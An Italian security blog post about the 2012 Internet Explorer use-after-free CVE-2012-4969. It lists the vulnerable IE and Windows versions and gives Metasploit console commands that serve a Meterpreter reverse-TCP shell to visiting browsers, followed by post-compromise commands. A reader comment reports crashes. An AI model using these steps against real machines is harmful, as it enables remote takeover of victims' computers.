ClsHack Blog


CVE-2012-4969: Internet Explorer

September 20th, 2012 by clshack


Nuova vulnerabilità per internet explorer.
La vulnerabilità è stata individuata sugli stessi server di questo nuovo exploit:
[CVE-2012-4681] Java 7 Remote Code Execution && Metasploit


I target per questo exploit sono i seguenti:

  • #IE 7 on Windows XP SP3
  • #IE 8 on Windows XP SP3
  • #IE 7 on Windows Vista
  • #IE 8 on Windows Vista
  • #IE 8 on Windows 7
  • #IE 9 on Windows 7

La descrizione dell’exploit:

This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
to a use-after-free condition. Please note that this vulnerability has
been exploited in the wild since Sep 14 2012.

L’utilizzo è come sempre molto semplice su metasploit:
sudo msfupdate

sudo msfconsole

use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST IP
exploit

sysinfo
getuid

Piccolo video dimostrativo:

  • anonimo

    Ho provato con ie8 su XP SP3 e IE8 Win7 il risultato è un crash,sono l’unico??

    • ClsHackBlog

      se ti viene in risultato un crash vuol dire che il tuo browser è vulnerabile, probabilmente c’è qualche errore nell’exploit, anche perchè è uscito da poco… il mio consiglio è quello di segnare la tua configurazione qui:
      http://dev.metasploit.com/redmine/projects/framework

      Quindi versione di xp, browser, architettura e se puoi un dump del crash :)